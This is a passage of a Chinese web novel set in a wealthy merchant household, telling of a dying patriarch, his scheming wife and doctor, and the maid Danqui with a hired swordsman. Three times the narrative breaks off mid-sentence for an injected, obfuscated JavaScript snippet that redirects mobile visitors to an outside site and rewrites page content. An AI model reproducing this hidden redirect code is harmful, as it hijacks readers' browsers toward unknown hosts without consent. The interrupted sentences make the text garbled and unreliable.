王管家满腹心事,他在石阶上站了片刻才离开。 听着脚步声走出月亮门,韩乙出声说:“他走了。” “噢。”丹穗没动,她仰头问:“韩大侠是怎么想的?你有什么好的借口?” “报丧,就说家里死人了。”韩乙习惯了打打杀杀的事,他觉得这个借口最好用。 丹穗:“……谁死了?老爷总不能为了一个下人的死提前离开商会。” “就说你们太太掉湖里淹死了,等施老爷回来,大夫又把她救回来了。只要管束好家里下人的嘴,外面的人不会知道,能保全你们施老爷的面子。” 丹穗莫名想笑,她摇头说:“后天商会要商量重要的事,保不准新来的知府也会出席,拿这种一戳就破的谎话当借口,事后会遭人笑话。我有周全一点的法子,目前还没安排好,明天还要出门一趟,到时候老爷这儿还需大侠多留意。” 韩乙暗吸一口气,他后怕地问:“后院的姨娘不会再过来吧?” “要来,不然您伺候老爷吃喝拉撒睡?”丹穗从石雕后面走出去,她打趣说:“今天您跟她们不是相谈甚欢?我傍晚都跟她俩说好了,她俩明日一早就过来。有她们在,您也不用无聊地守床边发呆。” 说着,丹穗施施然离开。 “哎——” 韩乙伸手拉她,丹穗扭身拍他一下,她夺回衣摆,脚步匆匆跑了。 韩乙要是还没看出她在整他就是个缺心眼,他倒回石雕上,很是头疼。 “丹穗?”施老爷听见动静走出来,他望着黑黢黢的石园,问:“谁在里面说话?” 韩乙想走出去,抬腿前想到丹穗躲避王管家的样子,他自觉跟丹穗姑娘之间清清白白,可耐不住旁人会怀疑,为了不给她添乱,他没现身。 施老爷也不动,他守在门外死死盯着石园里的动静。 韩乙莫名有种偷情被抓的窘迫。 “快入冬了,一日比一日冷,你回头跟太太说一声,让她从外面雇几个匠人,不论用砖石还是木头在月亮门这儿盖个小屋,免得你跟小玉从早到晚守这儿喝冷风。”丹穗带着宝柱走进石园。 施老爷闻声看过去。 “丹穗姑娘,你替我们去说吧,我担心太太不乐意。”宝柱吭哧道。 “就说是老爷发的话,后天老爷不在家,让匠人后天进来动工,最好一天就完工,免得吵到老爷……”话音未落,丹穗看见门外站的人。 施老爷嗤一声,“你哪个老爷发的话?” 宝柱吓得打翻水桶,泼出来的水大半淋到丹穗的裙子上,他惊慌失措地跪下去擦,丹穗惊叫一声躲开。 宝柱反应过来,他收回手急忙道歉。 “蠢东西,滚出去。”施老爷来了火气,“一件小事都办不好,要你有什么用。” 宝柱惨白着脸砰砰磕头,“老爷消气,别赶我出去。” “行了行了,再去打两桶热水来。”丹穗插话,她示意宝柱快走。 韩乙悄无声息地从石雕后面走出来,看清不远处混乱的情况,他出声说:“叫另一个守门的女婢来伺候,丹穗姑娘回屋换衣裳吧。” “你回屋吧,不用再过来。”施老爷发话,他瞅韩乙一眼,问:“你什么时候过来的?” “听见这边乱糟糟的,我就过来了。” 施老爷没再怀疑,他转身进屋。 丹穗落得清闲,她回到自己屋里休息。躺在暖和的被窝里,她喟叹一声,日后哪怕韩大侠没有带走她,她也感谢他,自他来到施家,她总算能一夜睡到大天亮了。 * 一天两夜一晃而过,十月初二这天,丹穗和韩乙陪施老爷出门,同行的还有王管家。 埠口停着一艘雕栏玉砌的楼舫,船长一丈,宽七尺,几乎能占满河道,这艘楼舫只有施老爷和他大儿子施继之能用。 丹穗扶着施老爷走上二楼,二楼有五间单间,居中的那一间是施老爷独用,入门是一间缩小版的议事堂,一大扇绣着山河图的屏风后面是他的卧房。 施老爷喘着粗气坐下,走这一段路他差点脱力,这会儿头晕眼花,衣摆下的腿还控制不住地发抖。 “老爷,喝口水。”丹穗举着水杯递到他嘴边。 施老爷喝一口,下一瞬手一挥,青瓷水杯掉在船板上摔得四分五裂,丹穗额头上也出现一抹红印,是被他的手砸出来的。 韩乙嗖的一下站起身,他绷着脸盯着反复无常的老东西。 王管家垂下眼,当做什么也没看见。 丹穗擦擦手上的水渍,她蹲下身捡起温热的碎瓷,温声说:“我再给您倒一杯吧。” 施老爷闭上眼,他仰靠在椅背上,说:“王全,回头拿支金簪给她。” “哎。”王管家动了,“丹穗姑娘,你别捡那个,小心划伤你的手,我喊人来收拾。” 丹穗道没事,她把碎瓷捡起来用手帕包着,起身时见韩乙还直挺挺站着,他看起来比她还生气,脸色铁青。 “我说一下今天的安排,跟去年一样,今年的商会由贾氏船行发起,参会地点在贾氏的船王上。换船的时候,我陪老爷一起过去,韩大侠和王管家留在我们的楼舫上。你们寻个好位置,位置定好就别再动,老爷若是发病,我会走出去丢下水帕,韩大侠看见立马上船来接我们。”丹穗像是没受那通迁怒的影响,她若无其事地讲述。 并解释说:“二爷的绸缎铺遭贼,他雇的账房做假账中饱私囊,于大半个月前抛下妻儿老母跑路了。二爷怕被同行嘲笑就没有报官,所以至今不知道那个账房是在城内,还是逃出平江城了。” “二爷自己看走眼,他没脸找老爷帮忙,就去找我讨法子,我让我二儿子雇一帮地痞日日去骚扰账房的妻儿老母。”王管家接话。 “这个账房也姓陆,是二爷的族人,他们曾派二爷的亲叔叔出面说和,但二爷咽不下这口气,他不承认那帮地痞是他雇的,所以截止到今日,那帮地痞还守在账房家。我利用这茬事,让陆氏族人在今天去绸缎铺闹事,同时让王信春出面请一帮衙役喝酒,今天衙头会带几个衙役在陆氏族人闹事时去逮人,然后双方打起来。”丹穗一五一十地交代她在一天半内安排的事,她看向韩乙,说:“到时候韩大侠冲上船跟船上的管事说二爷的铺子被围了,闹事的人跟官差打了起来,要出人命,要请老爷去解决。” 韩乙对着她神采奕奕的眸子怔怔地点头。 丹穗回过身,她背着手踱到施老爷跟前,得意地说:“二爷不报官是因为账房卷走的银钱最终落在施家头上,对他来说,多赚少赚都是赚,既然那笔银钱找不回来了,他就不想大动干戈。我闹这一出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186565|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,彻底让陆氏一族跟二爷起隔阂,还让二爷在整个平江府丢人,老爷可觉得解气?” 施老爷抬手拍拍她的脸,“就属你聪明。” “您高兴就好。”丹穗拎起茶壶再斟一杯水,说:“您喝点水润润嗓,估计还得一柱香的功夫才能到,您闭眼歇歇,接下来的事交给我们。” 韩乙盯着老东西接过水杯,待水杯完好无损地回到丹穗手上,他长出一口气,然而心里依旧堵得慌,像一根鱼刺卡在嗓子里,让他浑身难受。 水面越来越广时,河道上漂泊的船只多了起来,在一众楼船中,河中央四层高的战船最为显眼,这就是贾氏船行的船王,据说能供水师作战。 一艘艘楼船靠近战船,家主登船后,楼船离去。 轮到施家,丹穗扶着施老爷下楼,韩乙担心她搀不住老东西,他接过手把人送过去。 “呀!施老弟,我还当你今天不会过来,多谢赏脸。”贾氏家主,也就是贾释道他爹前来迎接,他关切地问:“你看上去精神不错,依我看就是那老秃驴说胡话吓唬人,明年开春去临安看看,好大夫都在帝都。” “依我看说胡话的是你,我左看右看也没看出来他精神不错。”宋老爷登船,他走过来看笑话,“施老爷瘦得只剩一张皮了,夜里走出去能被人当成鬼打死,能不能熬到过年都不好说。” “早点死我早点下去给世侄道歉。”施老爷扫扫袖子,他轻飘飘地回敬一句。 宋老爷脸色陡变。 “释道,来扶你老丈人去楼上坐。”贾老爷赶忙拉架,他扯走宋老爷,说:“知府大人的船来了,你随我过去迎接。” 周围竖起耳朵看热闹的人随着主人公离开也一哄而散。 韩乙跟着丹穗往楼上走,他低声问:“这两人有仇?” 丹穗点头,“六年前,施宋两家争一块儿地,施老爷使计把宋老爷的大儿子打死了。” “老东西真是害人不浅。”韩乙骂一声。 丹穗没接话,她停下脚步说:“王管家还在等你,你快下去吧。” “那你小心点。”韩乙嘱咐一句转身下楼。 …… 船宴在四楼,船舱中绮幕绣帘,明窗净几,桌椅以紫檀木嵌大理石制成,门窗雕刻黑漆粉地书画,很是精致。 知府进来后,众人落座,身姿窈窕的女婢们送上一盘盘精美的糕点,继而默默退了出去。 船宴开始,贾老爷作为主人家先讲几句,随后请知府讲话。 丹穗听了几句便失了兴趣,此次召开商会的目的她了解一些,平江府涌来的难民太多,城里已经安置不下了,知府召集城内有名望有家财的商人,意图说服他们出钱出力安置难民,比如扩大招工、再比如建房租赁、以及捐赠粮食和过冬的衣物。 这是回不了本的买卖,投入大,回报小,不提其他商户,丹穗清楚施老爷就不会愿意,她知道此次船宴有得磨。 果然,知府大人讲得口干舌燥,只有稀稀拉拉的人响应,施老爷也只捐赠一千贯钱意思意思。 贾老爷见场面僵持住了,他开口说:“我家五小子从南宁府请来一班歌姬,班主想在平江府扬名,今日让她们来亮亮嗓,是骡子是马拉出来遛遛。” 话落,歌姬入场,丹穗抻着脖子看得正起兴,施老爷在她腿上掐一把,他发病了。 丹穗立马攥着帕子起身,出门就看见韩大侠的身影出现在一楼船板上,他正跟楼下的管事说着什么,看见她,他飞奔上来。 “出事了,王信春过来报信,说施家大公子的船被海寇劫了,人可能也没了,你快去跟施老爷说。”韩乙没想到他今儿还真报上丧了。 丹穗没敢当场说,但不知宋老爷从哪儿得来的消息,在她按照原计划周旋时,他站出来宣布施继之船毁人亡的消息。 施老爷当场喷口血,翻着白眼晕过去了。 13.时日无多 “李大夫,老爷怎么样?”见李大夫从内室出来,朱氏忙问。 李大夫面色沉重地叹一声,说:“大恸之下,肺腑受伤,老爷本就体虚,如今……” “能不能治?”陈氏哑着嗓子问,她丈夫死了,儿子年幼,她还指望施老爷多撑几年,让她跟儿子有个靠山。 李大夫摇头,说:“我开几副药,先养着吧。” “去天庆观请妙道大师,妙道大师医术好,我娘的命就是他救回来的。”陈氏猛地想起天庆观的高僧,她看向三爷施顺之,他是二姨娘生的,性子老实,在家里不争不抢,以往他爹和他大哥吩咐什么他做什么。 “三弟,你去天庆观一趟。”陈氏说。 施顺之朝内室看一眼,立即转身出去。 “老爷醒了。”丹穗看见施老爷的眼皮掀开了,她朝外喊一声。 外间或坐或站的一群人闻声忙挤进去,朱氏走在最前面,她靠近问:“老爷感觉如何?” 施老爷没理,他混浊的老眼动了动,目光落在一张张面孔上,最后定格在掉眼泪的大儿媳身上。 “爹……”陈氏哭着喊一声,“您可得撑住,继之还没回家,他还等着您带人去接他回来。” 施老爷猛地咳一声,暗红色的血沫喷出来,离得最近的朱氏被喷了一脸,她惊叫着退开,“大夫!李大夫快来,老爷又吐血了。” 李大夫挤进来,其他人退开,丹穗被挤到角落里,她踮脚从人缝里看过去。 “怎么样?”陈氏急着问。 “堵在心口的血吐出来,是好事,我下去煎药。”李大夫说。 “传消息的人是谁?喊他过来。”施老爷吃力地说。 “消息是三弟带回来的,他进城的时候遇到宋氏的船回来,船上的人跟他说继之的船遇到海寇没能逃脱。”陈氏代为回答,“三弟前脚刚走,我让他去天庆观请妙道大师过来给您医治。” “宋氏?”施老爷陡然来了精神,他自己撑着坐了起来,双目放光地喊:“喊王管家来,派人去查,我儿指不定没死。” 陈氏反应过来,她快步往外走,说:“我去安排。” 朱氏眼睛一暗。 “我回去让释道安排船出海去找,爹你先躺下去,好好养病。”施三娘开口。 施老爷想起来还有个女婿能指望,他打发其他人出去,让丹穗拿纸笔来,他口述她写,末了盖上他的私印。 “信交给你公爹,等我养好病亲自上门道谢。”施老爷说。 施三娘接过丹穗递来的信,心想她爹真够舍得的,为了让她公爹出船出人出海寻找施继之,把挨着天庆观五个种茶的山头送给贾家了,这五个山头还是当年从宋家手里抢来的,付出了不小的代价。 施三娘拿着信离开,施老爷倒回罗汉床上,他闭着眼问:“李大夫怎么说?” “您伤了肺腑,要好好养着。”丹穗回答,她拿着湿帕子上前擦去他脸上、脖子上的血。 施老爷猛地又咳起来,丹穗扶他扶不起来,韩乙过来把人拽起来。 施老爷咳得要吐出来,脑子也胀得发紧,等他缓过劲,眼前发黑,什么也顾不上,一倒下去就没意识了。 “又晕了。”韩乙说,“看样子他伤到心肺了,没多少日子能活。” “你也懂医?”丹穗问。 “不懂。”韩乙抱臂靠在床边,这会儿还觉得恍惚,事情发展得太突然。 等施老爷一死,他也该走了。 他看向垂首给施老爷垫枕头的女子,等施老爷死了,她又该去何处?施继之到底死没死?施家的生意又会是谁接手? 外面传来闹哄哄的声音,丹穗皱一下眉头,她快步走出去,说:“二老爷,您嚷嚷什么?您拖家带口是来探病还是闹事的?” “探病探病。”施二老爷一点都不恼,他就喜欢丹穗训斥他的样子,他的目光在她身上溜一圈,问:“我大哥咋样了?我怎么听说我大侄子出事了?真的还是假的?” “老爷又睡着了,至于大爷的事只是传闻,已经有人去查了,二老爷等着就是了。”丹穗说。 施二老爷心里犯嘀咕,施继之遭海寇所杀的消息已经在城里传遍了,难不成还有假的? “我去看看我大哥,我怎么听说他还吐血了?”施二老爷拖着臃肿的身子进去,一进门就闻到一股难闻的血腥味,盖着被子躺在床上的人一脸的青灰,胸口几乎没有起伏。 跟进来的施二太太吓了一跳,她是个鲁莽的性子,一把年纪了说话还不过心,她急哄哄地说:“看着咋像没气了?大夫呢?” “有气,晕过去了。”韩乙开口。 丹穗不想听两个蠢蛋咋呼,她板着脸把人请走。 * 护卫院。 朱氏独身一人来帮李大夫给施老爷煎药。 “他最多还能活多久?”她低声问。 “最多两个月,随时能断气。”李大夫回答。 “你能断定?妙道那个秃和尚出手会不会有转机?” 李大夫摇头,“大罗神仙下凡也难救。” 朱氏面露快慰,她拿帕子擦掉手指上沾的药渣,说:“施继之的死对他打击这么大?我琢磨着他还能耗个半年呢。也好,不用脏我的手了。” “如果没有韩乙每逢他发病时打晕他,他经这一遭不至于到这个地步。”李大夫拨灰盖住火苗,盯着冒水烟的药炉说:“施老爷的身体好比这个药炉,每逢发病就是药汤沸腾的时候,这时候只要揭开盖子,药汤就不会扑出来。韩乙出手打晕他,属于是在沸腾时往药炉上糊一圈泥巴,药汤是不会扑出来了,但不减火候,药炉会炸。大爷身亡的消息就是添一把猛火,药炉提前炸了。” “太太,你让我加重老爷的病情我做到了,你答应我的事可别忘了。”李大夫盯着朱氏说。 “等他死了,我会放九姨娘离开,再给一笔银钱,够你俩逍遥地过完下半辈子。”朱氏开怀地说,“药给我吧,我给老爷端去。” 朱氏送药去议事堂,见到丹穗,她难得地笑一声,说:“好姑娘,辛苦你再照顾老爷一段日子。” 丹穗只觉得毛骨悚然,朱氏真是演都不演了,在这种场合笑呵呵的。 “对了,老爷病重,受不了打扰,你替他把好关,不重要的事别跟他说,不重要的人也别放进来。”离开前,朱氏嘱咐一番,说罢她看向韩乙,交代道:“我晓得韩大侠武艺高强,丹穗姑娘拦不住的时候,我希望你能出手。只要不把人打死,我保证没人会找你的麻烦。” 韩乙觉得她有点不对劲,他摸不清她的心思,便没有应承。 “我只听施老爷的吩咐。”他说。 朱氏没说什么,回过头就安排几个年轻貌美的姨娘过来伺候,她倒要看看这个刀客最后是听个死人的话还是过来求她。 …… 日头一点一点西落,施园里的人越聚越多,施老爷一共有五子六女,撇去陆承这个继子,前后两个妻子一共生了一子两女,余下的都是姨娘生的。姨娘所出的三个儿子都已娶妻,他们成家后被分出去另过,眼下得到消息都拖家带口赶来了。 丹穗接待一波又一波人,同样的几句话翻来覆去地说,说多了也麻木了,有几个瞬间,她以为床上躺着个死人。 月亮升起时,施家开席。 跟议事堂的安静不同,一墙之隔的轿厅里,七嘴八舌的说话声掺在一起颇为热闹,不知情的人若是路过,八成会认为主家有喜事。 “三爷把妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191764|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道大师请来了。”王管家倒腾着两条腿跑进来。 “大师,请。”施顺之领着和尚穿透夜雾走进来 轿厅里的说话声戛然而止,随后,杂乱的脚步声转移到石园里。 朱氏站在廊下一脸关切地望着门内,隐在袖中的手紧张地攥着。 一柱香后,妙道大师出来。 “大师,我家老爷的病还有得治吗?”朱氏抢先问。 “阿弥陀佛,施老施主寿限无多,准备后事吧。”妙道大师双手合十行个礼,说:“诸位节哀,对施老施主而言,这是解脱。” 朱氏险些笑了,袖中的手攥得越发用力,这才没让自己笑出声。 陈氏哭了,其他人闻声纷纷掩面揩眼角。 丹穗走出来,她将门外一帮人的表情和动作尽收眼底,施老爷妻妾无数、儿女成群,眼下真正为他伤心的人寥寥无几。 “太太,等老爷醒了,要不要把妙道大师的诊断告诉他?”她问。 “不能说!老爷惦记大爷的下落,有这个事吊着,他或许能多撑些日子。你若告诉他他时日无多,撑着的那口气散了,人也就没了。”陈氏头一个反对。 “我也反对让老爷知道。”二姨娘带着丫鬟脚步匆匆地赶来,人还未站定,声先飘了过来。 “姨娘,您怎么来了?”施顺之过去搀扶她。 “我听下人说妙道大师来了,我来看看。”二姨娘牵着儿子走到朱氏跟前,说:“让老爷眼睁睁等着他咽气的那一刻太过残忍,不如让他什么都不知道,免得时时刻刻心生恐惧。太太,您觉得呢?” “我赞成二姨娘和大嫂的话。”四爷出声。 “我跟四哥一样的意见。”五爷开口。 朱氏看一圈,她开口表态:“你们是老爷的亲子,这事听你们的。夜深了,都散了吧。你们今晚也别回去了,就在你们婚前住的院子里将就一晚。” “我爹不知道什么时候就……”四爷施守之咽下后面两个字,说:“我搬回来住些日子,也方便照顾我爹。” “照顾老爷是下人的活儿,你们该忙什么还忙什么去。”朱氏阻拦。 “再紧要的事也没我爹重要,等他去世了,我就没爹了,想孝顺他也晚了。娘,您别阻拦我。”施守之说着说着就哭了。 朱氏咬牙,装什么孝子贤孙,这时候守在老东西床前不就指望着老东西再给他些田产铺子之类的。 “太太,老爷这儿有我守着,寻找大爷的事、还有打理生意之类的,您跟大奶奶多操心。”二姨娘替儿子表态,施继之死了,朱氏没姓施的亲子,施家偌大的家业可就人人有份,生意上的事她儿子不插手,她要施老爷名下的房子和田产。 陈氏气得胸膛剧烈起伏,施家的家业都是她儿子的!可惜她现在是寡母带着幼子,势单力薄,压根不敢吭声。她只能盼着如施老爷所想,希望施继之身亡的消息是假的。 “施老爷要醒了。”韩乙趴在窗前懒懒地开口提醒。 “带妙道大师下去安置。”朱氏发话,“其他人也离开,有事明天再说。” 等人都走了,朱氏示意丹穗跟她来,她寻个离议事堂稍远的地方,警告说:“你要是敢把老爷手上的地契房契和银票偷偷交出去,我不会放过你。你要清楚你的身份,你是施家的丫鬟,我是施家的主母,我不开口放人,你就是死了也还是施家的下人,我想怎么惩治你无人能管。” “所以要把地契房契和银票通通交给您?”丹穗问,“您能给我什么?” “等老爷死了,你去我院里做事,当我身边的大管事,日后你在施家还像以往一样威风。”朱氏许诺。 丹穗摇头苦笑,“太太,我今天若是背主,您日后还敢重用我?你在哄骗我。” 14.扑簌迷离 朱氏否认不了,她若是从丹穗手上拿到她想要的东西,别说日后让她来给自己当管事,她就是在自己眼前行走都会让她心生防备。 “真可惜,你不是我的人,像你这样头脑清醒的人实在是找不出来几个,你要是我手下的丫鬟,我不知道能有多省心。”话说到这个地步,窗纸已经捅破了,朱氏不再伪装,她真心实意地感叹。 “我这辈子最遗憾的事是没能生个姓施的儿子,最后悔的事当属当年挑你去陆承身边伺候。我要是留你在我身边做事,也不会让他把你送到施寅身边。”朱氏卸下紧绷的伪装,她长叹一声,心底再次浮现老天捉弄她的念头,让她见识到施家百万贯财富,却不肯赐她一个亲儿,让她看得到吃不到;把丹穗送到她眼皮子底下,却在她把人支走后,丹穗显现出神童的天赋。 更可恨的是还让丹穗压制她上十年。 丹穗在五岁时卖进施家,六岁时被安排进主院伺候四岁的施三娘,同年,陆承被施老爷领回施家,朱氏见她嘴巧机灵,挑她去胆小怯弱的陆承身边陪玩。 陆承初来施家性子怯弱,不敢往人多的地方去,施老爷便给他请个夫子单独授课,陆承抱着书诵读时,丹穗只是听几遍就记住了,也就显露出她过目不忘的本事。 那年丹穗八岁,是陆承来到施家的第二年,同年朱氏生下第二个女儿。由于朱氏忙于照顾幼女,放在陆承身上的精力便少了,他作为一个外来的孩子,在施家身份尴尬,为了融入这个家,他选择讨好继父。 施寅三十八岁寿辰那天,八岁的丹穗被陆承当做寿礼送到施老爷手上。丹穗在施老爷身边成长迅速,十四岁就能帮他打理生意上的暗账,十六岁成了施寅的女人后,他身边的事全交给她打理。 可以说从丹穗十六岁到她二十二岁,朱氏一直受她压制,她作为正妻想见丈夫,还得跟丹穗打听他的行踪。丹穗最受重用的时候,施老爷送给家眷的衣裙首饰也是她先挑,她挑选后才送往后院。 朱氏作为施家主母却差点被架空了,她一直恨丹穗,可哪怕到了今天,施老爷都要死了,她还得求着她。 朱氏放弃攻心的法子,她打起精神,选择利诱:“你想要什么,我都能给你。甚至是你想离开施家也行,我放你归良籍,送你离开平江府,你寻个没人认识你的地方,再找个老实男人嫁人生子。” “以我这个姿容,寻常男人可护不住我。”而且丹穗也不敢相信朱氏的担保,今日她对她有用,她能百般承诺,等她对她无用了,她能不能活着走出平江府都不一定。 朱氏冷了脸,“你这意思就是要跟我对着来了?” 丹穗垂眼,说:“只要老爷还活着,我就只听他的吩咐。” “行,你最好说到做到,否则休怪我不客气。”朱氏撂下一句警告离开了。 一柱香后,薛大娘送来四个下人,她当着丹穗的面倨傲地交代:“都睁大眼在这儿候着,好好伺候老爷。” 丹穗冷眼旁观,来这儿盯梢呢,盯的是施老爷还是她? “丹穗姑娘,老爷眼下身子沉,你瘦伶伶的没力气扶他,太太安排我给你送来几个打下手的,你尽管使唤他们。”薛大娘板着脸解释。 丹穗思索片刻,她没有拒绝,有几个盯梢的对她来说也有好处,免得其他人来议事堂骚扰威胁她。 薛大娘对她的态度满意,她又朝四个下人训斥一番,指桑骂槐一通,才意犹未尽地晃着锥子头离开。 “我今晚守夜,你回屋休息吧。”韩乙替她累得慌。 丹穗没拒绝,她得好好睡一觉,养足精神,明天还有一帮子人要应付。 这一夜,施园到处充斥着低语声和辗转反侧的叹气声。 天一亮,前院又热闹开了。 丹穗听到轿厅里传来的争吵声和哭声,她正要去探探什么情况,出门就见二姨娘、七姨娘、八姨娘还有安姨娘、古姨娘、秦姨娘来了。三个年长的姨娘都有儿子,她们过来丹穗能理解,怎么安姨娘她们也一大早就过来守着?施老爷眼下对她们来说可不是香饽饽。 安翠儿看出丹穗的疑惑,她意味深长地说:“太太打发我们姐几个过来的,让我们来帮忙。对了,韩大侠呢?” “老爷还在睡?”二姨娘问。 “对,昨夜子时醒了一盏茶的功夫,喝了几口参汤,一直睡到这会儿。”丹穗回答,说罢她回安翠儿:“韩大侠回护卫院了。” 安翠儿“噢”一声,她进议事堂在施老爷床边晃一圈,出来坐在廊下的美人靠上听她们说轿厅里发生的争执。 “妙道大师不是说屋里的那个可以准备后事了,太太安排下人去采买丧仪相关的东西,恰巧被王管事遇上,被他阻止了。眼下外头都在传大爷死了,要是让人知道老爷也时日不多,怕是生意会受影响。”秦姨娘说。 “该准备的东西也该准备起来,总不能等亲友上门吊唁了,灵堂还没搭好。”丹穗说。 “太太也是这个意思,但王管家说的也在理所以他们商量着借大爷的名头去采买,到时候父子俩总有一个能用上。不过大奶奶不愿意,哭的那个就是她,她嫌不吉利,口口声声说大爷给她托梦他还没死。”古越摊手。 “最后怎么说的?还是借大爷的名头去采买吧?”丹穗问。 “聪明。”安翠儿打个响指,她起身走下台阶,说:“这家里再怎么闹也影响不到我们,我们这些人更插不上话,不嫌我们碍眼绊脚就是我们的福气了。走,去护卫院瞧瞧,我们去给老爷煎药。” 说罢,安翠儿错身时拽走丹穗,她箍着丹穗的细腰,肩摩挲着肩,凑近低声问:“妹妹,问你个事,你对那个刀客有没有想法?你俩要是相互有意,姐姐们就不遭人嫌了。” 丹穗笑了,“你这话说的,老爷还没死,你们就敢这么大胆?” “实话不瞒你,我们是太太派来的,她要我们绊住他。事后双方若是都有意,她愿意放我们离开。”安翠儿一五一十地交代,她指一下古越和秦梦,说:“来时我们三个商量好了,一起去试探,韩大侠对谁有意,另外两人退出。” “若是对你们三个都有意呢?”丹穗问。 安翠儿摇头,“他若是如此,我可不跟他走,他若不能专一,我图他什么?图跟他吃糠咽菜?我不如再去跟个商人,至少还能穿金戴银。” “我也是这个意思。”古越说。 秦孟扭过脸没吭声。 “你的意思呢?我觉得韩大侠对你不一般,你俩要是相互有意,我们就不掺和了。”安翠儿目含试探地盯着她。 丹穗摇头。 “行,我知道了。”安翠儿松开手,说:“你跟我们不一样,你还年轻,人聪慧有本事,能选择的出路有很多。我们是徐娘半老,颜色犹存,留在施园,奶奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197302|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们对我们不放心,担心爷们儿把不住会闹出丑闻,到时候多半会搭一份嫁妆撵我们出去。与其被随便赠人,还不如自己选一个合心意的男人。” 丹穗理解,后院无儿无女的姨娘们在施老爷死后,处境也好不了,尤其是容貌好的,八成会当人情转手赠人。 至于她自己…… 她的去处更捉摸不定。 “你对他无意,那就远着他。你要是能再给我们制造些机会,事成之后姐姐们感谢你。”古越还没放弃试探,她总觉得韩大侠要是能看上她们,不可能对丹穗没意思。 “我可不掺和。”丹穗摆手,“我不了解情况,要是阴差阳错做错事,可要落埋怨的。” “丹穗姑娘,老爷醒了,他在寻你。”二姨娘走出来喊。 丹穗应一声,她忙跑开。走到廊下,她回头看一眼,三抹俏丽的身影轻盈地穿过月亮门不见了。她按捺住胸中酸酸涩涩的情绪,快步走进议事堂。 施老爷被扶坐起来,他呼哧呼哧喘粗气,额头上还泛着虚汗,丹穗一眼看去只觉得难受,这样熬着还不如死了痛快。 “继之有消息了?”施老爷费力地吐出几个字,声音虚得发飘。 “还没有,打听消息的人也还没回来。”丹穗接过七姨娘端的参汤喂他喝几口,说:“您别操心了,好好养着,耐心等消息。” 这时,屋外传来说话声,不多一会儿,四爷领着贾老爷进来。 “爹,贾叔来看您了。” 施老爷见到贾老爷,未语泪先流。 “施兄弟,你……唉!你别急,释道一早就跟船出城了,他一定把继之带回来。”贾老爷心道不妙,施寅看着是不行了。 “宋、宋家……”施老爷咳几声,他攥紧贾老爷的手,想说却说不出来。 “贾老爷,我们老爷想托您去宋家探探口风,我们大爷遇海寇的消息是不是他们故意编出来要我们老爷命的。”丹穗明白施老爷的意思,她代为转达。 “大奶奶。”门外的下人报一声。 丹穗闻声看去,陈氏顶着哭肿的眼睛进来,一脸的憔悴,她见到贾老爷就迫不及待地打听消息。 “我过来之前先去了宋家,宋老头一口咬定不知情,昨天跟船回来的客商也都说是施家的船遇到海寇了。”眼瞅着施老爷翻着白眼要晕过去,贾老爷忙补充:“不过也有疑点,我已经安排船去南宁府和上海镇打听消息,这几日回来的船肯定不止一艘。” 施老爷生生吊着一口气没昏过去,但也没力气再说话。 丹穗留三个姨娘在这儿照顾,她和陈氏送贾老爷出去。 “亲家,可有继之的消息?”朱氏听到消息匆忙赶来。 “走,去轿厅说话。”贾老爷回头看一眼,他摇摇头大步离开。 “我派人找到昨日下船进城的客商们,大多数客商一口咬定施家的商船遇海寇了,但有几个言辞含糊,这其中怕有问题。”贾老爷跟朱氏和陈氏交代,“我已经派船去南宁府和上海镇寻找近日从北边回来的船只,施家的商船有没有遇到海寇要等探听消息的船回来,一来一回少说要七八天。至于去寻找继之的船什么时候能回来,这事没谱。你们这边先稳住施兄弟,能说好消息别说坏消息,他受不住惊吓了。” 陈氏抓住一丝希望,她激动地哭出声。 朱氏嘴上不住念菩萨保佑,眼底却一片晦暗。 15.家贼横生 二姨娘在榻衣柜里翻到一沓钱引,她粗略一估,这沓钱引少说有一百张,最少也有一千贯钱。她悄悄回头看一眼,七姨娘和八姨娘各在翻找各的,没有注意到她这边的动静,她心中一喜,将一沓钱引塞自己袖子里。 七姨娘将桌屉里的东西都翻出来,一样样看过,没有她儿子说的虎头印。 八姨娘惊叫一声,她起身一眼看见施老爷死死瞪着她们。 守在门外的下人飞快跑进来。 二姨娘和七姨娘忙将乱糟糟的屉子塞进去,但还是被冲进来的下人看见了,为首的小厮声音高亢地喊:“姨娘们在找什么?” “老爷醒了。”八姨娘赶忙插话,她扑到床边,无视施老爷恶狠狠的眼神,问:“老爷肚子饿不饿?我让人煨了一罐粥,您要不要喝点?” 七姨娘捋捋头发,打补说:“老爷,您让我找的东西没找到。” “出去,主子的事什么时候轮到你们来多嘴。”二姨娘训斥下人,她警告道:“日后没喊你们,你们就老老实实在外面守门,冒冒失失闯进来,把老爷吓出好歹,我叫三爷剥你们的皮。” 四个下人只能出去,一出门,其中一个下人快速离开。 